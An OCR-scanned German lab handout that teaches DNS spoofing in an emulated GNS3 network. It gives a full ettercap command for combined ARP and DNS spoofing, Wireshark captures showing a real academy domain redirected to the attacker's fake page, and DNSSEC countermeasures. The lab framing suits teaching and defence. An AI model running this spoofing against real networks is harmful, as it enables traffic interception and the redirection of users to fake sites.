Vorarbeiten waren aber dringend nétig, um den nachsten Schritt zu verstehen und evtl.
auch mit SCAPY umsetzen zu kénnen. Vor den nachsten Schritt braucht es noch etwas
Theorie.
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DNS-Spoofing

DNS ist der Auflésungsdienst von FQDNs, also Domainnamen in eine IP-Adresse. Ohne
IP-Adresse kommt kein Paket zum Ziel, aber eine IP ist schwieriger zu merken, als ein
einpragsamer Name. Daher ist die Zuordnung nétig. Diese wird dem DNS (Domain Name
System) Uiberlassen. Und hier liegt das Problem. DNS lauft haufig unverschlisselt und
unauthentifiziert im Netz. Jeder kann eine DNS-Nachricht erstellen (wie wir gerade
selbst gesehen haben).

Der Host schickt einen DNS-Request an seinen DNS-Server. Gerate, die auf dem Weg
zwischen dem anfragenden Host und dem DNS-Server liegen, kdnnen Die Anfrage
nehmen und mit eigenen Daten beantworten. Der anfragende Host kann die falsche
Adresse nicht verifizieren und schenkt der Antwort Glauben.

Angreifer
Anfragender mitm DNS-
Host : DNS-Request Server
o = =
= !I; (4 —
< ]

DNS-Reply

Jetzt liegt aber der Angreifer meist nicht auf dem Weg zwischen Host und DNS. Dann
kommt die man-in-the-middle Attacke mit ARP-Spoofigins Spiel und alle Pakete nehmen
den ,,Umweg” iber den Angreifer, der nun nach Belieben die unverschliisselten DNS-
Pakete falschen kann. Zur Demonstration nutzen wir eine Emulation der Realitat unter
GNS3, da wir root-Rechte brauchen und die geschiitzte Umgebung einer Testumgebung
rechtliche Schwierigkeiten bei der Anwendung in produktiver Umgebung verhindert.?

2 Vgl. StGB $202a ff.
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Einstieg in die virtuelle GNS3 Umgebung:

Die Umgebung unter GNS3 sieht wie folgt aus:

www
WAN
L ¥
R Gateway
LAN

172.16.1.0/24

s

. ->
Switch (-_)
™~
. .66
PC-B

=[:

Attacker

Das im LAN verwendete Netz ist 172.16.1.0/24. Die angegebene Notation (.11) ist um
den Netzanteil zu erganzen und lautet vollstiandig 172.16.1.11. Das Gateway lautet
172.16.1.1. PC-A ist der spater angegriffene PC und PC-B der Kontroll-PC, welcher zeigt,
dass die DNS-Auflosung eigentlich noch sehr gut funktioniert.

Mit Rechtsklick auf die Kabel zwischen den Geraten kann WIRESHARK geo6ffnet werden,
welcher die Verbindung mitschneidet. Hierzu muss nach dem Rechtsklick ,Start
Capture” ausgewahlt werden.
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Bei PC-A und PC-B ist meist die Netzwerkkonfiguration volatil und vor Beginn der Ubung
einzutragen. Hierzu auf den PC klicken und in der Taskleiste auf das Symbol mit
Schalttafel und Schraubenzieher mit der Bezeichnung ,,Control Panel” klicken. Auf dem
dann erscheinenden ,Control Panel” in der linken Spalte ,Network” auswahlen und
folgende Werte eintragen:

REED NS oRma| L QAQAAR B

Maintenance

e

Use DHCP Broadcast?
Cyes ©no
1P Address.

172.16.1.11
Network Mask
255.255.255.0
Broadcast.
172.16.1.255

172.16.1.1]
'%
——
e

e FirPC-AdielP172.16.1.11
e FurPC-BdielP172.16.1.12

Die anderen Werte sind bei beiden PCs gleich.

e Gateway:172.16.1.1
e Name Servers: 8.8.8.8 (Google DNS)

Den Broadcast tragt das System selbst ein. Das vorgeschlagene Gateway ware gemald
System 172.16.1.254 und muss auf die 172.16.1.1 gedndert werden.
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Der Angriff:

Nun starten wir den Angriff:

e Klicken Sie auf den , Attacker” und loggen sich mit login: debian und Passwort:
debian ein.
e Zuerst den Apache-Server starten mit ,sudo sytemctl start Apache2”.

Danach kénnen wir sofort mit dem Angriff beginnen.

Als Vorarbeit zum DNS-Spoofing miissen wir ARP-Spoofing? betreiben, damit die Pakete
Uber den Attacker geleitet werden und dieser die Pakete verandern kann.

Beide Spoofings werden mit einem einzigen Befehl (iber Ettercap gestartet:

sudo ettercap -T —M arp:remote —i ens4 —P dns_spoof //172.16.1.11// //172.16.1.1//

sudo: Der Befehl wird mit sudo ausgefiihrt, was bedeutet, dass er mit
Administratorrechten (Superuser-Rechten) ausgefihrt wird.

ettercap: Dies ist das Hauptprogramm, das ausgefiihrt wird.

-T: Diese Option steht fir den "Textmodus". Sie weist Ettercap an, im Terminal- oder
Konsolenmodus zu arbeiten, anstatt eine grafische Benutzeroberfliche (GUI) zu
verwenden.

-M arp:remote: -M bedeutet, dass ein MitM-Angriff durchgefiihrt werden soll.
arp:remote gibt an, dass ARP-Spoofing (als eine Moglichkeit einer MiTM-Atacke mit
ettercap) gegen ein entferntes Ziel durchgefiihrt werden soll.

-i ens4: Dies gibt das Netzwerkinterface an, das verwendet werden soll.

-P dns_spoof: Diese Option aktiviert das Plugin dns_spoof, das DNS-Anfragen
manipuliert. Damit kann der Angreifer DNS-Antworten falschen, um einen Benutzer auf
eine falsche IP-Adresse umzuleiten, wahrend er glaubt, die richtige Adresse zu
besuchen.

//172.16.1.11//: Dies ist die IP-Adresse des Zielhosts, der angegriffen werden soll.

//172.16.1.1//: Dies ist die IP-Adresse des Gateways oder eines anderen Hosts im
Netzwerk, auf den du ebenfalls zugreifen mochtest.

8 Zum ARP-Spoofing mit ettercap gibt es weitere Quellen und es wird deshalb hier nicht weiter
erlautert.
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Folgende (oder dhnliche) Ausgabe misste vom System kommen:

;. added to the hosts lis

Das Ergebnis:

Um das Ergebnis zu testen versuchen wir nun die Seite der Akademie flr Lehrerbildung
unter alp.dillingen.de zu erreichen. Vorab gehen wir auf die Verbindung zwischen Switch
und PC-B mit Rechtsklick und starten die WIRESHARK-Aufzeichnung mit ,Start-Capture”

Danach rufen wir die Seite alp.dillingen.de auf PC-B mit dessen Browser auf. Die
Startseite der ALP Website wird geliefert.

| g Home x|\ g ‘

(- & hitps:/alp.dilingen.de v | |B~ coogle Al KB » | =

Home - Mozilla biretox [01=)—1X]

In der WIRESHARK-Aufzeichnung sollten (neben vielen anderen DNS-Anfragen) auch
folgende Eintrage zu finden sein: (Tipp: dns-Filter im WIRESHARK aktivieren)

172.16.1.12 dns.google DNS 76 Standard query @xa574 A alp.dillingen.de

172.16.1.12 dns.google DNS 76 Standard query @xa7df AAAA alp.dillingen.de

dns.google 172.16.1.12 DNS 92 Standard query response @xa574 A alp.dillingen.de A 194.95.287.166

dns.google 172.16.1.12 DNS 139 Standard query response @xa7df AAAA alp.dillingen.de SO0A ns2.alp.dillingen.de

Flihren wir das gleiche fiir PC-A aus kommen wir auf eine andere Seite und auch der
DNS-Eintrag ist anders. DNS-Spoofing funktioniert!
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| Fake-Seite - Nur zu lllustrat... % | gp

€ alp.dillingen.de > | B~ Google ol B » =

Willkommen auf unserer
Fake-Seite!

mszwecken - Mozilla Frefox [JD=x]
T

172.16.1.11 dns.google DNS 76 Standard query @x255d A alp.dillingen.de

172.16.1.11 dns.google DNS 76 Standard query @xach@ AAAA alp.dillingen.de

dns.google 172.16.1.11 DNS 92 Standard query response @x255d A alp.dillingen.de A 172.16.1.66

dns.google 172.16.1.11 DNS 139 Standard gquery response @xacb® AAAA alp.dillingen.de S0A ns2.alp.dillingen.de

Auf der CLI des Attackers ist folgender Eintrag zu sehen:

Wir sehen, dass die Anfrage, die an 8.8.8.8 gehen sollte, abgefangen und veradndert
wurde. Daher steht auch in der DNS-Response die IP 172.16.1.66 (die IP des Attackers,
der einen eigenen Apache Webserver fiir die ,Fake-Seite” betreibt).

Um herauszufinden woher der gednderte/gefakte Eintrag genau kommt, missen wir
nochmals auf den Host vom Attacker und beenden mit Strg C die Ausflihrung von
ettercap. Danach nutzen wir den Texteditor ,,nano” um die gefakten DNS-Records des

Attackers anzeigen zu lassen.
Hierzu geben wir den Befehl:

Sudo nano /etc/ettercap/etter.dns ein und erhalten die DNS-Records als Ausgabe.

GNU nano 7.2 Jetc/etterc
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Hier wurde der DNS-A-Record von alp.dillingen.de auf die IP 172.16.1.66 (IP des
Attackers) geandert und so an den PC-A libermittelt. Die 3600 nach den Eintragen ist die
TTL.

Gegenmallnahmen

Die einfachste Gegenmalinahme ist die Umleitungen der Pakete (z.B. ARP-Spoofing) zu
vermeiden, da so keine DNS-Pakete abgefangen und verandert werden kann. Darliber
hinaus gibt es SicherungsmaRnahmen direkt fir DNS mit DNSSEC (und weiteren
Protokollen). Probleme bei DNSSEC sind:

e Die Infrastruktur: Wenn Sie bereits einen DNS-Server wie BIND, Unbound oder
ein dhnliches System betreiben, kann die Implementierung von DNSSEC relativ
einfach sein, da viele moderne DNS-Server bereits Unterstitzung fiir DNSSEC
bieten. In diesem Fall missen Sie die Konfiguration anpassen und die Zonen
signieren.

e Zonensignierung: Sie missen jede DNS-Zone, die Sie besitzen, signieren. Dies
erfordert das Erstellen von Schlisseln und das Hinzufligen von DNSKEY- und
RRSIG-Eintragen in die Zonendateien.

e Validierung auf der Client-Seite: Sie missen moglicherweise auch sicherstellen,
dass alle Clients, die DNS-Anfragen stellen, einen DNS-Resolver verwenden, der
DNSSEC validiert. Dies kann zusatzlichen Konfigurationsaufwand erfordern.



